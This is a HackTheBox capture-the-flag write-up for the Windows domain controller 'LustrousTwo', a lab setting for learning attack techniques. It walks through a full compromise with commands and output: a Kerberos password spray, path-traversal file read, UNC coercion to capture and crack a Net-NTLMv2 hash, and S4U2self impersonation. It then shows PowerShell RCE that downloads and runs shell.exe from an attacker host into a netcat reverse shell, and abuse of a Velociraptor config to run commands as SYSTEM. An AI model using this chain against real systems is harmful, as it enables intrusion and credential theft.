HTB: LustrousTwo Writeup
LustrousTwo - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | LustrousTwo |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.242.166 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
LustrousTwo is a hard Windows Active Directory box (LUS2DC.lustrous2.vl) built around a domain that has been hardened against the two most common AD footholds: NTLM authentication is disabled inbound, and LDAP signing + channel binding are enforced. That forces every credential-testing and directory-binding step through Kerberos. Anonymous FTP leaks a 71-user list, a Kerberos-only password spray lands one working account, and Kerberos-authenticated access to an internal IIS site exposes an arbitrary file read via path traversal. That read is turned into an offensive primitive by pointing it at an attacker-controlled SMB share to coerce a Net-NTLMv2 hash, which cracks offline. The recovered service account’s credentials unlock the site’s decompiled source, revealing a PIN-gated PowerShell debug endpoint restricted to a group whose members are flagged “sensitive and cannot be delegated.” Rather than fighting that protection with a Silver Ticket, the intended path is S4U2self — a self-impersonation Kerberos extension that isn’t blocked by the delegation flag — to mint a service ticket for a privileged group member and unlock RCE. Privilege escalation to NT AUTHORITY\SYSTEM comes from an insecurely deployed Velociraptor DFIR agent left on the box, whose readable server config lets any local user mint an administrator API client and run VQL queries as SYSTEM.
TL;DR: Anonymous FTP username harvest → Kerberos password spray (Thomas.Myers:Lustrous2024) → Kerberos-auth to IIS → /File/Download path traversal (arbitrary file read) → coerce Net-NTLMv2 hash via UNC read → crack (ShareSvc:#1Service) → decompile LuShare.dll, recover Debug endpoint PIN → S4U2self impersonation of a ShareAdmins member (bypasses “cannot be delegated”) → PowerShell RCE via /File/Debug → user flag → insecure Velociraptor install → mint admin API client → VQL execve as SYSTEM → root flag.
Reconnaissance
Port Scanning
# Full TCP port sweep against the DC, then service/version detection on what's opennmap -Pn -p- --min-rate=1000 -T4 10.129.242.166nmap -Pn -sC -sV -p<open-ports> 10.129.242.166The scan profile is a textbook Windows Domain Controller: Kerberos (88), DNS (53), LDAP/LDAPS (389/636/3268/3269), SMB (445), RPC endpoints, and RDP (3389) — confirming LUS2DC as lustrous2.vl’s DC. Two services stood out as the actual attack surface:
- FTP (21) — Microsoft ftpd, anonymous login allowed.
- HTTP (80) — Microsoft IIS hosting an internal ASP.NET Core app that returns
401 Unauthorizedwith aNegotiatechallenge, i.e. Kerberos/NTLM-only auth (no anonymous or form-based login).
Service Enumeration
Anonymous FTP exposed a set of per-user home directories:
ftp 10.129.242.166# Name: anonymous / Password: (blank)ftp> ls HomesDirectory names under /Homes are literal AD sAMAccountNames, giving a 71-entry username list — no file content, no read access into the directories themselves, but enough to seed a credential attack.
Vulnerability Assessment
Attempting a standard NTLM-based enumeration/spray (crackmapexec/SMB-style) against the DC failed outright: inbound NTLM authentication is disabled at the domain level, and LDAP signing + channel binding are enforced, which blocks unsigned LDAP simple-bind attempts and NTLM-relay-adjacent tooling. The only viable authentication path left is native Kerberos (pre-auth spray, kinit, SPNEGO/Negotiate over HTTP) — this hardening is the box’s central theme and dictates every tool choice from here on.
Initial Foothold
Kerberos-Only Password Spray
With NTLM dead, credential testing has to go through the KDC directly using Kerberos pre-authentication (a failed/successful AS-REQ), rather than SMB or LDAP simple-bind:
# Kerberos pre-auth spray — the only auth path NTLM lockdown doesn't blockkerberos-spray --dc lus2dc.lustrous2.vl -d lustrous2.vl -U users.txt -p 'Lustrous2024'# [+] VALID LOGIN: Thomas.Myers@lustrous2.vl:Lustrous2024One hit against 71 candidates: Thomas.Myers:Lustrous2024.
Kerberos Setup and Access to IIS
# /etc/hosts must resolve the DC FQDN so Kerberos can build the right SPNecho "10.129.242.166 lus2dc.lustrous2.vl lustrous2.vl LUS2DC.lustrous2.vl" | sudo tee -a /etc/hosts
# minimal krb5.conf pointed at the DC as KDCexport KRB5_CONFIG=./lustrous2.confecho 'Lustrous2024' | kinit Thomas.Myers@LUSTROUS2.VLWith a valid TGT, requests to the IIS site authenticate via SPNEGO/Negotiate instead of NTLM:
curl --negotiate -u : "http://lus2dc.lustrous2.vl/"/File/Download — Arbitrary File Read (Path Traversal)
The app exposes a file-download feature that takes a fileName parameter without sanitizing traversal sequences:
# ..\ traversal walks out of the app's file root into the OS filesystemcurl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=..\..\..\..\windows\win.ini'This alone is a classic arbitrary file read (CWE-22), but the real value is turning a read primitive into a credential-capture primitive: Windows will attempt SMB authentication against any UNC path handed to a file-open call, even one triggered server-side by a “download” feature.
# point the "download" at an attacker-controlled share — the server, not the client,# tries to auth to it, leaking its own machine/service credentialscurl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=\\10.10.15.180\Share'# capture the coerced Net-NTLMv2 hashsudo responder -I tun0 -v# [SMB] NTLMv2-SSP Client : 10.129.242.166# [SMB] NTLMv2-SSP Username : LUSTROUS2\ShareSvc# [SMB] NTLMv2-SSP Hash : ShareSvc::LUSTROUS2:...# offline crackjohn --wordlist=rockyou.txt shareSvc.hash# ShareSvc:#1ServiceCracked credentials: ShareSvc:#1Service.
Source Recovery and PIN Extraction
The same traversal primitive pulls the app’s own deployment descriptor and compiled assembly:
curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config' -o web.config# <aspNetCore processPath="dotnet" arguments=".\LuShare.dll" .../>curl --negotiate -u : 'http://lus2dc.lustrous2.vl/File/Download?fileName=../../LuShare.dll' -o LuShare.dllDecompiling LuShare.dll exposes the app’s Debug controller action: it’s gated behind [Authorize(Roles = "ShareAdmins")], requires a hardcoded PIN, and caps the submitted command at 100 characters before handing it straight to a PowerShell.Create() runspace. The PIN was re-extracted live from the DLL’s embedded unicode strings: ba45c518.
Bypassing “Account Is Sensitive and Cannot Be Delegated” via S4U2self
ShareSvc itself isn’t a member of ShareAdmins, and the accounts that are members have the Account is sensitive and cannot be delegated flag set — which specifically blocks constrained/unconstrained delegation and Silver-Ticket-style forged-ticket abuse. S4U2self is not delegation in the sense that flag protects against — it’s a Kerberos extension that lets a service request a ticket to itself on behalf of another user, using only that service’s own credentials, and Windows honors it regardless of the target user’s delegation-sensitivity flag as long as the resulting ticket isn’t then forwarded (S4U2proxy). Since the target endpoint (/File/Debug) only needs a valid, correctly-authorized ticket presented directly — not a forwarded/proxied one — S4U2self is enough:
# impersonate a ShareAdmins member using only ShareSvc's cracked credsimpacket-getST -self -impersonate "SHARON.BIRCH" \ -k lustrous2.vl/ShareSvc:'#1Service' \ -altservice HTTP/lus2dc.lustrous2.vl
export KRB5CCNAME=SHARON.BIRCH@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccacheRCE via /File/Debug
# PIN-gated PowerShell RCE, now carrying a ticket that satisfies the ShareAdmins role checkcurl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug \ -d 'pin=ba45c518&command=iwr -uri http://10.10.15.180/shell.exe -outfile C:\windows\tasks\shell.exe'
curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug \ -d 'pin=ba45c518&command=C:\windows\tasks\shell.exe'nc -lnvp 1337# whoami /user → lustrous2\sharesvcUser flag: C:\user_2e9c1.txt → <redacted>
Privilege Escalation
Insecure Velociraptor Install → SYSTEM
The sharesvc shell revealed a Velociraptor DFIR agent installed under Program Files, with its server configuration file (server.config.yaml, containing the CA and signing keys needed to mint new API clients) readable from the compromised low-privilege service context — a textbook “insecure installation” per Velociraptor’s own hardening guidance, since anyone who can read that file can self-issue arbitrary-privilege API credentials without ever touching the admin GUI.
# mint a brand-new API client with the administrator role, using only the leaked server config& "C:\Program Files\VelociraptorServer\velociraptor.exe" ` --config "C:\Program Files\VelociraptorServer\server.config.yaml" ` config api_client --name admin --role administrator C:\windows\tasks\api.config.yamlThat new admin API config talks straight to Velociraptor’s own query engine — no further exploitation needed, just VQL:
# execve() is a built-in VQL plugin — this runs arbitrary commands as whatever the# Velociraptor service account is, which on a server install is SYSTEM& "C:\Program Files\VelociraptorServer\velociraptor.exe" ` --api_config C:\windows\tasks\api.config.yaml ` query "SELECT * FROM execve(argv=['cmd','/c','whoami'])"# nt authority\system# reuse the already-staged reverse shell binary& "C:\Program Files\VelociraptorServer\velociraptor.exe" ` --api_config C:\windows\tasks\api.config.yaml ` query "SELECT * FROM execve(argv=['cmd','/c','C:\\windows\\tasks\\shell.exe'])"nc -lnvp 1337# whoami /user → nt authority\systemRoot flag: C:\Users\Administrator\Desktop\root.txt → <redacted>
Attack Chain Summary
Anonymous FTP (71 usernames from /Homes) ↓Kerberos-only password spray → Thomas.Myers:Lustrous2024 ↓kinit + SPNEGO auth to IIS ↓/File/Download path traversal → arbitrary file read ↓Coerce SMB auth to attacker share → Responder captures ShareSvc Net-NTLMv2 ↓john/rockyou crack → ShareSvc:#1Service ↓Download + decompile LuShare.dll → recover Debug PIN (ba45c518) ↓S4U2self impersonate SHARON.BIRCH (bypasses delegation-sensitive flag) ↓POST /File/Debug → PowerShell RCE as sharesvc → USER FLAG ↓Insecure Velociraptor server.config.yaml → mint admin API client ↓VQL execve() as NT AUTHORITY\SYSTEM → ROOT FLAGTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery, DC fingerprinting |
| Anonymous FTP client | Username harvest from /Homes |
Kerberos pre-auth spray tooling (e.g. kerbrute) | Password spray against a domain with NTLM disabled |
kinit / krb5.conf | TGT acquisition for downstream Kerberos-auth requests |
curl --negotiate | SPNEGO/Kerberos-authenticated HTTP against IIS |
Responder | Capture coerced Net-NTLMv2 hash from the file-read UNC trick |
john + rockyou.txt | Offline Net-NTLMv2 crack |
| .NET decompiler (ilspycmd/dnSpy-class) | Recover LuShare.dll source, find hardcoded Debug PIN |
impacket-getST | S4U2self impersonation ticket request |
Velociraptor CLI (velociraptor.exe) | Self-issue admin API client, run VQL execve as SYSTEM |
nc | Reverse shell catcher |
Key Learnings
Techniques Practiced
- Operating entirely over Kerberos against a domain with NTLM disabled and LDAP signing/channel binding enforced
- Turning an arbitrary-file-read primitive into an NTLM hash-capture primitive via UNC path coercion
- Decompiling a .NET Core web app to recover hardcoded secrets and understand an RCE gate
- S4U2self as a delegation-flag bypass distinct from — and stealthier than — Silver Ticket forgery
- Identifying and abusing an insecure Velociraptor DFIR agent deployment for SYSTEM
Lessons Learned
- Disabling NTLM and enforcing LDAP signing/channel binding raises the bar but doesn’t remove Kerberos as a full authentication and enumeration path — spray,
kinit, and SPNEGO all still work. - Any server-side “read this path” feature that can be pointed at a UNC path is a credential-leak primitive, not just a file-disclosure bug — coercion doesn’t require SMB directly, just something that triggers a file-open.
- “Account is sensitive and cannot be delegated” stops classic delegation and Silver Ticket abuse, but not S4U2self — the flag protects against tickets being forwarded, not against a service vouching for a user to itself.
- Deploying DFIR/EDR tooling (Velociraptor) without locking down its server config file turns a defensive tool into a SYSTEM-level backdoor for anyone who lands a foothold on the box it’s protecting.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- 0xEr3bus, “LustrousTwo” — public HackTheBox writeup (machine author: xct), used here for conceptual/explanatory detail on the Kerberos-hardening theme, the S4U2self-vs-delegation-flag rationale, and the Velociraptor insecure-install background. All IPs, credentials, commands, and outputs in this writeup are from the author’s own solve against
10.129.242.166.